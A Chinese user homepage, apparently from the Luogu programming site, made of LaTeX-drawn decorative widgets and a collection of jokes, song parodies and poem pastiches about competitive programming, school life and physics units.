    $\color{#00B8D4} \rule{2pt}{44pt} \color{#E5F8FB} \rule[24pt]{190pt}{20pt} \color{#e8e8e8}\rule{0.5pt}{44pt} \color{#f5f5f5}\rule{0.5pt}{44pt} \color{#fafafa}\rule{0.5pt}{44pt} \kern{-190pt}\kern{-1.5pt} \color{#bfbfbf}\rule[0pt]{190pt}{0pt}\kern{-190pt} \color{#d6d6d6}\rule[-0.5pt]{190pt}{0pt}\kern{-190pt} \color{#ececec}\rule[-1pt]{190pt}{0pt}\kern{-190pt} \color{#f8f8f8}\rule[-1.5pt]{190pt}{0pt}\kern{-190pt} \color{black} \raisebox{24pt}{ \raisebox{6pt}{ \kern{-1pt} \color{#00B8D4}\large{\kern{2pt}\bf{i}\kern{5.5pt}} \raisebox{1.5pt}{ \color{#432458}\footnotesize \kern{-4pt}\sf\bf{欢迎来到我的主页} }}}\kern{-200pt}$. \kern{4pt}\raisebox{10pt}{\footnotesize\sf{}} $\def\w{130pt} \def\h{18pt} \color{#E4E7E8} \rule[3pt]{0.1pt}{\h}\kern{-0.5pt} \rule[21pt]{\w}{0pt} \rule[3pt]{0.1pt}{\h}\kern{-\w} \color{#116740} \rule[3pt]{\w}{0.5pt}\kern{-\w} \color{#232323} \raisebox{10.2pt} {\scriptsize\sf\kern{5pt}您是神犇 }$

    $% w, h, fillcol, bordercol \newcommand\BorderRect[4]{ \color{#3}\rule{#1}{#2}\kern{-#1} \color{#4}\rule{0.5px}{#2}\kern{-0.5px} \rule{#1}{0px}\rule{0.5px}{#2}\kern{-0.5px} \kern{-#1}\rule[#2]{#1}{0px} } % w, h, title, subtitle, fillcol, iconch ,iconcol \newcommand\BasicInfoBarFather[8]{ \BorderRect{#1}{#2}{#5}{ghostwhite} \kern{-#1} \raisebox{#2}{ \raisebox{-26pt}{ \color{black}\kern{-4px} \raisebox{7px}{ \color{#7}\Huge{?}\kern{-1px} } \raisebox{10.6px}{ \kern{-20.2px} \color{white}\scriptsize\textbf{#6} } \kern{-7px}\footnotesize \raisebox{10.2px}{\textbf{\textsf{\color{#8}#3}}}\kern{2px} \raisebox{10.2px}{\textsf{#4}} } } } \def\BasicInfoBarColorFill{#F4F4F4}\def\BasicInfoBarColorIcon{#0078D4} \def\BasicWarnBarColorFill{#FFF4CE}\def\BasicWarnBarColorIcon{#9D5D00} \def\BasicOkBarColorFill{#DFF6DD}\def\BasicOkBarColorIcon{#0F7B0F} \def\BasicErrBarColorFill{#FDE7E9}\def\BasicErrBarColorIcon{#C42B1C} \newcommand\BasicInfoBar[5]{ \BasicInfoBarFather{#1}{#2}{#3}{#4} {\BasicInfoBarColorFill}{i}{\BasicInfoBarColorIcon}{\BasicInfoBarColorIcon} } \newcommand\BasicWarnBar[5]{ \BasicInfoBarFather{#1}{#2}{#3}{#4} {\BasicWarnBarColorFill}{i}{\BasicWarnBarColorIcon}{\BasicWarnBarColorIcon} } \newcommand\BasicOkBar[5]{ \BasicInfoBarFather{#1}{#2}{#3}{#4} {\BasicOkBarColorFill} {\tiny\kern{-2px}\raisebox{0.8px}{√}} {\BasicOkBarColorIcon}{\BasicOkBarColorIcon} } \newcommand\BasicErrBar[5]{ \BasicInfoBarFather{#1}{#2}{#3}{#4} {\BasicErrBarColorFill} {\kern{-2px}\raisebox{0.6px}{×}} {\BasicErrBarColorIcon}{\BasicErrBarColorIcon} } \BasicWarnBar{200px}{26px}{警告}{此人太蒻了,请小心}{#000000}\\ \BasicInfoBar{200px}{26px}{提醒}{近墨者黑}{#000000}\\ \BasicErrBar{200px}{26px}{请勿}{膜拜我}{#000000}\\ \BasicOkBar{200px}{26px}{应该}{嘲讽并踩爆这个蒟蒻}{#000000}\\$

    反馈\bold{\text{反馈}}$

    如果你认为某个蒟蒻有问题,欢迎向洛谷反馈,以吊打更多的蒟蒻。\small\text{如果你认为某个蒟蒻有问题,欢迎向洛谷反馈,以吊打更多的蒟蒻。} $$\colorbox{#3bb4f2}{\color{white}严重违规的反人类行为~~~~$\nabla$} $$请具体说明理由,以增加反馈的可信度。\small\text{请具体说明理由,以增加反馈的可信度。} $$\color{#dedede}\boxed{\color{black}\texttt{ta太垃圾了,拉低了全人类的平均智商~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~}}$$$$\small\color{#0e90d2}\text{取消~~~~~~~~~~~~~~~~~~~~~~~~}\color{#dedede}\text{|}\color{#0e90d2}\text{~~~~~~~~~~~~~~~~~~~~~~~~确定} $$提示\bold{\text{提示}} 举报成功,感谢您的反馈,已封禁\small\text{举报成功,感谢您的反馈,已封禁} 确定\small\color{#0e90d2}\text{确定}

    $\\[-110pt] \kern{80pt}\Huge \textbf{在洛谷,} \\ \kern{80pt}\textbf{享受Juding的快乐。}\\[40pt]$

    $$\ \huge\color{white}\dfrac{\color{white}\scriptsize\colorbox{#52C410}{\texttt{\#1}\color{#52C410}\text{----------------\:\!}}}{\color{white}\colorbox{#52C410}{\scriptsize \texttt{-1s/1.00TB}}}_{\kern{-51.2pt}\colorbox{#52C410}{\kern{40.8pt}}}\kern{-52.4pt}\Large\colorbox{#52C410}{\color{#52C410}\kern{11.05pt}\color{white}\textsf{AC}\color{#52C410}\kern{11.05pt}} \ \huge\color{white}\dfrac{\color{white}\scriptsize\colorbox{#52C410}{\texttt{\#9}\color{#52C410}\text{----------------\:\!}}}{\color{white}\colorbox{#52C410}{\scriptsize \texttt{-1s/1.00TB}}}_{\kern{-51.2pt}\colorbox{#52C410}{\kern{40.8pt}}}\kern{-52.4pt}\Large\colorbox{#52C410}{\color{#52C410}\kern{11.05pt}\color{white}\textsf{AC}\color{#52C410}\kern{11.05pt}} \ \huge\color{white}\dfrac{\color{white}\scriptsize\colorbox{#52C410}{\texttt{\#2}\color{#52C410}\text{----------------\:\!}}}{\color{white}\colorbox{#52C410}{\scriptsize \texttt{-1s/1.00TB}}}_{\kern{-51.2pt}\colorbox{#52C410}{\kern{40.8pt}}}\kern{-52.4pt}\Large\colorbox{#52C410}{\color{#52C410}\kern{11.05pt}\color{white}\textsf{AC}\color{#52C410}\kern{11.05pt}} \ \huge\color{white}\dfrac{\color{white}\scriptsize\colorbox{#52C410}{\texttt{\#6}\color{#52C410}\text{----------------\:\!}}}{\color{white}\colorbox{#52C410}{\scriptsize \texttt{-1s/1.00TB}}}_{\kern{-51.2pt}\colorbox{#52C410}{\kern{40.8pt}}}\kern{-52.4pt}\Large\colorbox{#52C410}{\color{#52C410}\kern{11.05pt}\color{white}\textsf{AC}\color{#52C410}\kern{11.05pt}} $$$$\ \huge\color{white}\dfrac{\color{white}\scriptsize\colorbox{#52C410}{\texttt{\#0}\color{#52C410}\text{----------------\:\!}}}{\color{white}\colorbox{#52C410}{\scriptsize \texttt{-1s/1.00TB}}}_{\kern{-51.2pt}\colorbox{#52C410}{\kern{40.8pt}}}\kern{-52.4pt}\Large\colorbox{#52C410}{\color{#52C410}\kern{11.05pt}\color{white}\textsf{AC}\color{#52C410}\kern{11.05pt}} \ \huge\color{white}\dfrac{\color{white}\scriptsize\colorbox{#52C410}{\texttt{\#8}\color{#52C410}\text{----------------\:\!}}}{\color{white}\colorbox{#52C410}{\scriptsize \texttt{-1s/1.00TB}}}_{\kern{-51.2pt}\colorbox{#52C410}{\kern{40.8pt}}}\kern{-52.4pt}\Large\colorbox{#52C410}{\color{#52C410}\kern{11.05pt}\color{white}\textsf{AC}\color{#52C410}\kern{11.05pt}} \ \huge\color{white}\dfrac{\color{white}\scriptsize\colorbox{#52C410}{\texttt{\#1}\color{#52C410}\text{----------------\:\!}}}{\color{white}\colorbox{#52C410}{\scriptsize \texttt{-1s/1.00TB}}}_{\kern{-51.2pt}\colorbox{#52C410}{\kern{40.8pt}}}\kern{-52.4pt}\Large\colorbox{#52C410}{\color{#52C410}\kern{11.05pt}\color{white}\textsf{AC}\color{#52C410}\kern{11.05pt}} \ \huge\color{white}\dfrac{\color{white}\scriptsize\colorbox{#52C410}{\texttt{\#7}\color{#52C410}\text{----------------\:\!}}}{\color{white}\colorbox{#52C410}{\scriptsize \texttt{-1s/1.00TB}}}_{\kern{-51.2pt}\colorbox{#52C410}{\kern{40.8pt}}}\kern{-52.4pt}\Large\colorbox{#52C410}{\color{#52C410}\kern{11.05pt}\color{white}\textsf{AC}\color{#52C410}\kern{11.05pt}} $$$$\Large\def{\cA}{#DAA520}\def{\cB}{#F5DEB3}\def{\s}{\kern{14.4pt}} \newcommand{\wrtA}[1]{\kern{-0.3pt}\colorbox{\cA}{\text{\raisebox{12pt}\text{ }\kern{-5pt}\kern{1pt}\color{black}#1}\kern{-1pt}}} \newcommand{\wrtB}[1]{\kern{-0.3pt}\colorbox{\cB}{\text{\raisebox{12pt}\text{ }\kern{-5pt}\kern{1pt}\color{black}#1}\kern{-1pt}}} \boxed{\kern{-7pt}\color{white}\begin{cases} \wrtA{♜}\wrtB{♞}\wrtA{♝}\wrtB{♛}\wrtA{♚}\wrtB{♝}\wrtA{♞}\wrtB{♜} \\[-1.9pt] \wrtB{♟}\wrtA{♟}\wrtB{♟}\wrtA{♟}\wrtB{♟}\wrtA{♟}\wrtB{♟}\wrtA{♟} \\[-1.9pt] \wrtA{\s}\wrtB{\s}\wrtA{\s}\wrtB{\s}\wrtA{\s}\wrtB{\s}\wrtA{\s}\wrtB{\s} \\[-1.9pt] \wrtB{\s}\wrtA{\s}\wrtB{\s}\wrtA{\s}\wrtB{\s}\wrtA{\s}\wrtB{\s}\wrtA{\s} \\[-1.9pt] \wrtA{\s}\wrtB{\s}\wrtA{\s}\wrtB{\s}\wrtA{\s}\wrtB{\s}\wrtA{\s}\wrtB{\s} \\[-1.9pt] \wrtB{\s}\wrtA{\s}\wrtB{\s}\wrtA{\s}\wrtB{\s}\wrtA{\s}\wrtB{\s}\wrtA{\s} \\[-1.9pt] \wrtA{♙}\wrtB{♙}\wrtA{♙}\wrtB{♙}\wrtA{♙}\wrtB{♙}\wrtA{♙}\wrtB{♙} \\[-1.9pt] \wrtB{♖}\wrtA{♘}\wrtB{♗}\wrtA{♕}\wrtB{♔}\wrtA{♗}\wrtB{♘}\wrtA{♖} \\[-1.9pt]\end{cases}} $$$$\color{red}\def{\b}{\color{white}⣿\color{red}}\def{\n}{\\[-2pt]}\newcommand{\t}[1]{\text{#1}}\begin{gathered} \t{\b\b\b\b\b\b\b\b\b\b\b\b\b\b⢰⡄\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b}\n \t{\b\b\b\b\b\b\b\b⢢⣄⡀\b\b\b⣸⣇\b\b\b\b⢀⣳⣴⠶⠄\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b}\n \t{\b\b\b\b\b\b\b\b⠙⣿⣶⣄⢰⣿⣿\b\b\b\b⣯⣿⣿⡿⣦\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b⢀\b\b\b\b\b\b\b\b\b\b}\n \t{\b\b\b\b⠲⣶⣤⣄⣀⠙⢿⣿\b⣿⡋\b\b\b\b⠸⣷⣿⣿⠛\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b⣸⡇\b\b\b\b\b\b\b\b\b}\n \t{\b⢀⡀\b\b⠈⠻⣿⣿⣆⣠⣼⠟⠉\b\b\b\b\b\b\b\b⢹⡄\b\b⢀⣤⣄\b\b\b\b\b\b\b\b\b⢰⣿⡇\b\b⣀⣀⣀⡀\b\b\b}\n \t{\b\b⠙⠿⣿⣷⣶⣄⢀⣾⡟\b\b\b\b\b\b\b⢀⣴⣦⣦⣾⣷⣾⣿⣿⣿⣿⣷⣶⣶⣶⣿⣿⣤⡀\b⣼⠟⢡⣾⣿⡿⠛⠁\b\b\b\b}\n \t{\b\b\b\b⠙⣛⠛⢛⣿⠏\b\b\b\b\b\b\b\b⣻⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠿⠟⠋⠉⠙⣧⠈⠃\b⠈⢳⣟⠛⢋⣀⣀⣀⣀\b\b\b}\n \t{\b⣀⣤⣶⣿⣿⡷⠾⣿\b\b\b\b\b\b\b\b\b⢽⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡇\b\b\b⣰⢂⡄\b\b\b\b⢻⣦⢾⣿⡿⠟⠛⠉\b\b}\n \t{\b\b\b⠈⠉⢁⣤⣤⣿⣦\b\b\b\b\b\b\b⣀⣀⣨⣿⣿⣿⣿⣿⣿⣿⣿⣿⠛⣤⣄⣴⣿⣿⣾⡅\b\b\b⠘⣿⣀⣠⣴⣤⣄⣀⡀\b}\n \t{\b\b\b⢀⣴⣿⣿⠟⢈⣿⠃\b\b\b\b\b\b⠉⠟⣻⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⣿⣿⡿⠿⠋⠁\b\b\b\b⢀⣿⠏⠛⠿⡿⠛⠋⠉⠁}\n \t{\b\b⠈⠉⠉\b⣠⣤⣼⣿⡄\b\b\b\b\b\b\b⡻⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠋⠁\b\b\b\b\b\b⢀⣼⡟⢶⣾⣷⣄\b\b\b\b}\n \t{\b\b\b⢀⣠⣾⣿⠿⠁⣹⣿⣶⣤⣀⣀⣤⠶⠒\b⣿⣿⣿⣿⣿⣿⣿⣿⣿⠛⠛⠁\b\b\b\b\b\b\b⣾⡿⢻⣦⣄⠙⠻⠿⠷⣄\b\b}\n \t{\b\b\b⠉⠉\b\b⢠⣿⣿⣠⣿⠉⣿⡏\b\b\b\b⣹⣿⣿⣿⣿⣿⣿⣿⣿\b⠈⠳⣄\b\b\b\b\b⣠⣿⠁⠘⢿⣿⡄\b\b\b\b\b\b}\n \t{\b\b\b\b\b\b\b⡾⠟\b⣿⠏\b⢿⡇⣼⣿⣶⣾⣿⣿⣿⣿⣿⣿⣿⣿⠏\b\b\b⢈⣿⣶⣶⣶⣿⡟⢹⣷⣶\b⠉⠻⢆\b\b\b\b\b}\n \t{\b\b\b\b\b\b⠈\b\b\b⠋\b\b⠘⡀⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠤\b\b\b⢸⡿⠃⣾⣦⣼⣷⡌⠻⢿⣧\b\b\b\b\b\b\b\b}\n \t{\b\b\b\b\b\b\b\b\b\b\b⢀⣀⣤⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⣶⡦\b\b⠞⠁\b⣿⠃⠘⣿⠃\b\b⠉⠳\b\b\b\b\b\b\b}\n \t{\b\b\b\b\b\b\b\b\b\b⣀⣶⣿⣿⠟⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠇\b\b\b\b\b⠈\b\b⠙⠆\b\b\b\b\b\b\b\b\b\b\b}\n \t{\b\b\b\b\b\b⣠⣤⣶⡾⠟⠁⠉⠁\b⣻⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠏\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b}\n \t{\b\b\b\b\b⣰⡟⠉⠁\b\b\b\b\b⣠⣿⣿⠟⠁⠙⢿⠿⠛⠿⢿⣿⣿⡄\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b}\n \t{\b\b\b\b⣼⡟\b\b\b\b\b\b\b⣴⣿⣿⠃\b\b\b\b\b\b\b⠈⢿⣿⣿⡄\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b}\n \t{\b⢸⣦⣴⣿⣀⡀\b\b\b\b\b⣼⣿⣿⠏\b\b\b\b\b\b\b\b\b\b⢿⣿⣿⣆\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b}\n \t{\b\b⢽⣿⡛⠛⠁\b\b\b\b⣸⣿⣿⠋\b\b\b\b\b\b\b\b\b\b\b⠈⢿⣿⣿⣧\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b}\n \t{\b\b⣠⠿⠁\b\b\b\b\b⣠⣿⣿⠁\b\b\b\b\b\b\b\b\b\b\b\b\b\b⠹⣿⣿⣦\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b}\n \t{\b\b\b\b\b\b\b\b\b⣠⣿⣿⠃\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b⠈⢿⣿⣦⡀\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b}\n \t{\b\b\b\b\b\b\b\b⢀⣿⣿⠟\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b⢿⣿⣷⡆\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b}\n \t{\b\b\b\b\b\b\b⢠⣾⣿⠇\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b⠘⠻⣿⣿⡀\b\b\b\b\b\b\b\b\b\b\b\b\b\b}\n \t{\b\b\b\b\b\b\b⣾⣿⡿\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b⢻⣿⣿⣆\b\b\b\b\b\b\b\b\b\b\b\b\b}\n \t{\b\b\b\b\b\b\b⠙⠟⠁\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b⠻⢿⡿\b\b\b\b\b\b\b\b\b\b\b\b\b}\n \end{gathered} $$

    冷笑话一则 一位洗碗的大姐,经常被别人叫阿姨,她嫌弃阿姨不好听,就给自己取了一个特别牛的名字:瓷洗太后。隔壁补胎的师傅受到启发,给自己取了一个国际范的名字:拿破轮。电焊工听到,受到启发,也给自己取了一个名字:焊武帝。一日电焊工去糖果店炫耀自己的名字,老板啦叫他看他的名字:糖太宗。电焊工看了沉默了。这是一辆粪车路过,发写这三个大字:擒屎皇。路边捆菜的阿姨行不下去了,叫到你们的名字算什么?看看我的名字,众人一看这名字取得不一般,大喊到捆菜阿姨的名字:菜需捆!!!从此,镇上工作的人,再也没有互相比过名字。

    小时候, OI愁是一份短短的CE, 我在这头, 编译通过在那头。

    长大后,OI愁是一行模拟的WA。我在这头,AC在那头。

    后来啊,OI愁是一张窄窄的奖状。我在这头,省一在里头。

    现在啊,OI愁是一块轻轻的铁牌,我在这头,高校在那头。


    很久很久以前 算法突然出现 带来导论 带走了智商又消失不见 编程十分危险 世间谁最勇敢 一位懵逼儿赶来 大声喊 我要写出最高的树 打出最大的表 搜进最深的递归 把AC带回到面前 老师非常高兴 忙问他的技能 年轻人想了想 他说 老师我会 非确定性有穷状态决策自动机 再来一次 非确定性有穷状态决策自动机 是不是 非确定性有穷状态决策自动机 对对是 非确定性有穷状态决策自动机

    懵逼无名少年 捧着算法导论 带着大家的希望 从学校里出发 战胜BUG来袭 获得调试神技 无数代码见证 他慢慢升级 偏远论坛角落 参与所有话题 一路排序 伴随指引前路的单链表

    进入决赛考场 比赛和可怕难题 少年打开IDE 难题道 我是 Floyd区间DP均衡红黑树 再来一次 Floyd区间DP均衡红黑树 是不是 Kruskal一维DP二叉排序树 不对是 Floyd区间DP均衡红黑树

    于是 非确定性有限状态决策自动机 打出 深度搜索模拟枚举单源最短路 应用 拓扑排序Trie结构Polya定律 套入 Dijkasta联通分量BellmanFord 最后 非确定性有限状态决策自动机 他使用了 IO优化树链剖分输出random 调用了 矩阵速幂虚二叉树行列式消元 完成了 凸包扫描后缀数组网络最大流

    老师听说 非确定性有限状态决策自动机 他忘了写#include freopen 就让 非确定性有限状态决策自动机 全手写 map/set稳定婚姻KMP实现 啦啦 懵逼少年 敲着键盘 Ctrl+V来几遍 他发明了一个算法 也在天天渐渐复杂 为了避免以后麻烦 算法叫做XXXX树 它的全名十分难念 我不想说一遍

    一群伟大的科学家死后在天堂里玩藏猫猫,轮到爱因斯坦抓人,他数到100睁开眼睛,看到所有人都藏起来了,只见伏特趴在不远处. 爱因斯坦走过去说:“伏特,我抓住你了.” 伏特说:“不,你没有抓到我.” 爱因斯坦:“你不是伏特你是谁?” 伏特:“你看我身下是什么?” 爱因斯坦低头看到在伏特身下,居然是安培! 伏特:“我身下是安培,我俩就是伏特/安培, 所以你抓住的不是我,你抓住的是欧姆! 爱因斯坦反应迅速,于是改口喊,“欧姆,我抓住你了!” 可是伏特和安培毕竟是欧姆的好哥们,于是,伏特和安培一个鱼跃站了起来,但是仍然紧紧抱在一起,爱因斯坦大惑~ 他俩不紧不慢地说,现在,我们不再是欧姆,而是伏特×安培,变成瓦特了~ 爱因斯坦觉得有道理,于是喊,那我终于抓到你了,瓦特! 这时候,瓦特躲在角落里慢慢悠悠地说:“你看他俩这样抱着已经有好几秒了,所以,你抓得不是瓦特,而是瓦特×秒,” 这时,他看到牛顿站在不远处,爱因斯坦于是跑过去说:“牛顿,我抓住你了.” 牛顿:“不,你没有抓到牛顿.” 爱因斯坦:“你不是牛顿你是谁?” 牛顿:“你看我脚下是什么?” 爱因斯坦低头看到牛顿站在一块长宽都是一米的正方形的地板砖上,不解. 牛顿:“我脚下这是一平方米的方块,我站在 上面就是牛顿/平方米,所以你抓住的不是牛顿,你抓住的是帕斯卡” 爱因斯坦倍受挫折,终于忍无可忍地爆发了,于是飞起一脚,踹在牛顿身上,把牛顿踹出了那块一平米的地板砖, 然后吼到:“说!你还敢说你是帕斯卡?” 牛顿慢慢地从地上爬起来,说:“不,我已经不是帕斯卡了,你刚刚让我牛顿移动了一米的 距离,所以,我现在也是焦耳了” 焦耳这次学聪明了,一把扑到了阿伏伽德罗在 自己身下,说: “你看,我现在是J/mol啦”, 正当爱因斯坦思考J/mol是什么东西的时候,亥姆霍兹和吉布斯这两个自由能吵了起来,都说是对方.为了不至于两败俱伤,他们一脚把开尔文踹到焦耳下面,把阿伏伽德罗顶了出来. “看!”他俩说,“现在是J/K,是熵啦,要抓就抓克劳修斯吧” 游戏继续 这次是安培被爱因斯坦发现了,眼看安培就要被抓了.安培顺势往地上一躺,伸直身体对站在身边不远处的爱因斯坦说:“等等,我在你站的地方产生了磁场.”正当爱因斯坦在考虑该抓高斯还是特斯拉的时候,发现他俩一人找了一块地板砖抱着,说:“不麻烦你老了,我们现在是磁通量B·S,去找韦伯吧.” 等到爱因斯坦要抓住韦伯的时候,发现韦伯在 做深蹲. 爱因斯坦问:“你干嘛呢.” 韦伯回答说:“你没看到我一会儿变大,一会儿变小,我在产生感应电动势呢.” 这时伏特一下子慌了,一把抓住密立根的衣领,说:“你成天拿个油壶乱喷什么.” “测定元电荷.”密立根回答道. “太好了!”伏特一把抱住密立根说,“从现在起,我们就是eV,也就是焦耳.” 靠,今天是邪了门啦”焦耳嘀咕道 一把把赫兹压在身下,说: “看,现在是E/v,是普朗克啦” 普朗克也不是好惹的,他突然发现远处有个来自东方的老头在地上写下了22/7和355/113,很是得意,一打听此人姓祖,心里大喜,急忙跑过去,把这两个分数照抄了一遍,趴在这四个分数上面.对刚气喘嘘嘘赶来的爱因斯坦说: “看现在是h/4pi, “那又怎样?”爱因斯坦问. “是我的好哥们海森堡教我的,说这样我就不是我了,有什么事尽管找他.” “好,那他在哪里?” “这个,还真说不准.” 爱因斯坦恼羞成怒,正准备对普朗克大打出手. 接: 普朗克说: “等等,海森堡有个姓薛的好哥们,就躲在前面的箱子里.” “这个箱子连通风口都没有,” 爱因斯坦问. “这个就得你亲自去打开看看了.”

    上化学课,老师问:“学霸,怎样治疗胃酸过多?” 学霸起立,不假思索:“用碳酸氢钠。” 老师追问:“那怎样得到碳酸氢钠呢?” 学霸从容道:“ 将碳酸钠溶液,在碳化塔中通过二氧化碳碳化后,再经分离干燥得到。” 老师继续:“那怎样得到碳酸钠溶液呢?” 学霸愣了一下,但继续说: “用二氧化碳气体通氢氧化钠溶液,过滤得碳酸钠固体加水溶解得到溶液。 ” 老师不紧不慢地道:“那怎样得到氢氧化钠呢?” 学霸虎躯一震,结巴道:“将钠晶体放入适量水中制得。” 果然,老师就像是跟学霸扛上了,又曰:“那钠晶体从哪里来呢?” 学霸不以为然,答道:“钠晶体可以通过用熔融温度约为580 ℃的40%(质量分数)氯化钠和60%氯化钙的低共熔物再电解制得。” 老师笑眯眯的又问道:“那么氯化钠和氯化钙是怎么来的呢?” 学霸得意的冲老师一笑说:“氯化钠通过蒸发海水并提炼所得到的母卤制得,至于氯化钙,直接使用工业盐酸与开采出的大理石矿反应即可啊。” 老师不以为然的挑了一下眉毛,张口说:“那工业盐酸......” 学霸直接打断了她的话:“令氯气在氢气中燃烧,而后通入水中制得。至于氯气,电解制金属钠的时候就已经反应出来了。至于氢气” 学霸喘了口气,顿了顿,又说:“可以通过裂化石油气经过变压催化装置得来。所谓裂化石油气,就是使原油经过另一套变压催化装置,使重油裂化为烷烃和烯烃。” “学霸,学习不能死学啊,要活学活用,回答太啰嗦复杂了。 ”老师叹了口气,道,“ 好好听别人是怎么回答的,来,学渣,别睡了,起来回答怎样治疗胃酸过多?” 学渣懒散地起来,眯了眯眼,说:“去药店买胃药。” 老师一脸笑容:“嗯,不错,继续睡吧。回答问题就是要这样,简单明了。学霸,你听懂了吗?” 学霸:“……”

    离谱 kkksc03&include 离离原上谱 一@一封禁 暴政除不尽 放松水又生

    子曰:打架用砖乎!不宜乱乎照脸乎,使劲乎,乎不着,再乎,右手乎完左手乎,板砖乎断用鞋乎,既然乎,岂可一人独乎,有朋一起乎,不亦乐乎,乎着,往死里乎乎不死还乎,乎死者,英雄也,乎不死,拉倒也,你明乎,不明乎?明乎则已,不明乎拿砖照已脸乎!一乎则明。

    上古神器简介:上古十大神器之首,此物四四方方,棱角分明,红形彤程人眼目,冷森森令人寒。近守远攻两相宜,此物随处可见且不属于管制器 ···你值得拥有!!

    将刷题

    唐·李WA

    君不见,洛谷之题天上来,复杂到海不舍回。 君不见,高堂明镜悲白发,朝如青丝暮成雪。 人生WAWA须尽思,莫使电脑空对题。 天生我材没有用,千方百计还RE。 AC一点且为乐,会须一刷三百WA。 吾团友,牛大佬, 将刷题,手莫停!!! 与题做一遍,请系统为蒟蒻以测评。 天天WAWA不足贵,但愿长眠不复醒!!! 古来大佬皆刷题,惟有蒟蒻水犇犇。 站长昔时万AC,斗题十千恣欢谑。 主人何为言AC?径须沽取对君WA。 TLE,MLE,OLE,UKE,WA,PC,CE和RE。 呼儿将出换AC,与尔同销万古愁!!!!

    班长说:走,我们去炸华盛顿!

    副班长:这个主意不错!

    化学课代表负责提取氢气

    物理课代表负责拼装氢弹

    数学课代表负责计算爆破面积

    地理课代表负责策划爆破地点

    历史课代表负责记录光辉场面

    生物课代表负责事后生态环境

    政治课代表负责使用法律打官司

    语文课代表负责乱写文章推卸责任

    英语课代表到外国购买进口材料

    体育课代表负责营救难民

    你不得不承认的7个事实: 1.你的脖子转不了两圈。

    2.你数不了你有多少头发。

    3.当你舌头伸出来的时候你不能用鼻子呼吸。

    4.你正在做第三条。

    5.当你在做第三条的时候,其实你觉得是可行的,但是你看起来会像条小狗一样。

    6.你现在在笑,因为我把你整了。

    7.分享出去,你就可以整别人报仇了。

    初墨,多么优雅的名字——可惜他姓熊。

    拔杰,多么高端的名字——可惜他姓朱。

    渔歌,多么诗意的名字——可惜他姓章。

    楚衢,多么凝重的名字——可惜他姓滚。

    巅峰,多么上进的名字——可惜他姓杨。

    紫藤,多么大气的名字——可惜他姓杜。

    晶斌,多么文静的名字——可惜他姓沈。

    泥马,多么深奥的名字——可惜他姓曹。

    珍香,多么秀丽的名字——可惜他姓史。

    达野,多么磅礴的名字——可惜他姓尼。

    仁范,多么仁慈的名字——可惜他姓沙。

    \

    关于考古学

    迷你总部被炸了,据说是一个MC玩家干的,周围的人很努力的救火,大家试图用干草盖灭、汽油浇灭、可惜失败了,消防车没能赶到,据说是一个b站的司机开反了方向,MC玩家的警官倒很快赶到并迅速封锁了现场,没有放跑里面的一个人,很好的保护了现场。后来在废墟中翻出了一点骨灰就举行了葬礼,大家都很坚强没有哭,还有几个人忍不住笑出了声。在送骨灰的途中翻了车,骨灰撒了一地,刚要铲起来对面来了一辆洒水车全给冲入了下水道。全国都在关注着事件电视频道也不断插播这条新闻,但由于调音师的失误背景音乐一直是今天是个好日子。事后MC玩家的当事人一直申明自己是无心之举。为了表达悲伤家家户户都放起了鞭炮,一时间全国就好像过年一样。

    这游戏我玩过,好像叫王者荣耀,内容是凯皇恢复记忆成为火影召唤出神龙重返青青草原与熊大熊二一起阻止猪猪侠和王权富贵霸占魔仙堡成为铠甲勇士的计划之后和迪迦奥特曼一起取得真经消灭灭霸拯救童话世界。

    下雨了,出门见一大爷摔倒。   我过去问:“大爷,我一月工资不到2千块,能扶您起来么?”    大爷:“小伙子,你走吧,我再等一会儿。”   我被感动的赶紧说:“大爷,那边有个法拉利就快过来了。”    大爷也激动说:“你这小伙子还算实在,干脆别走给我做个证人,完事我给你弄辆小轿车上下班用……雨天凉凉的,大爷的话也让我的心暖暖的。

    取少量学生于试管中,加足量作业溶解,得到学霸和不溶解于作业的学渣.过滤洗涤,冷却结晶,得到饱和纯净的学霸晶体,学渣沉淀除去.

    向学霸中加入过量试卷,无明显现象.向学渣中加入过量试卷,学渣溶解并产生大量起泡.将学渣气体收集起来点燃,发出淡蓝色幽怨火焰.

    将学霸浸入冷的浓考试中,其表面发生钝化,所以可用学霸盛放浓考试;学渣暴露在课堂 上会迅速氧化,所以应保存在宿舍或床上.

    用明亮的白色试卷点燃学霸,学霸会发出耀眼的强光并释放出答案.学渣则会释放出具有烧焦羽毛气味的气体,并生成重修通知单.

    天冷极了,下着雪,又快黑了。这是NOIP的前夜。在这又冷又黑的晚上,一个衣衫破烂的小女孩在机房敲着代码。

    她从班里逃出来的时候还拿着一本算导,但是有什么用呢?那是一本很破旧的书——那么大,一向是她妈妈垫桌角的。

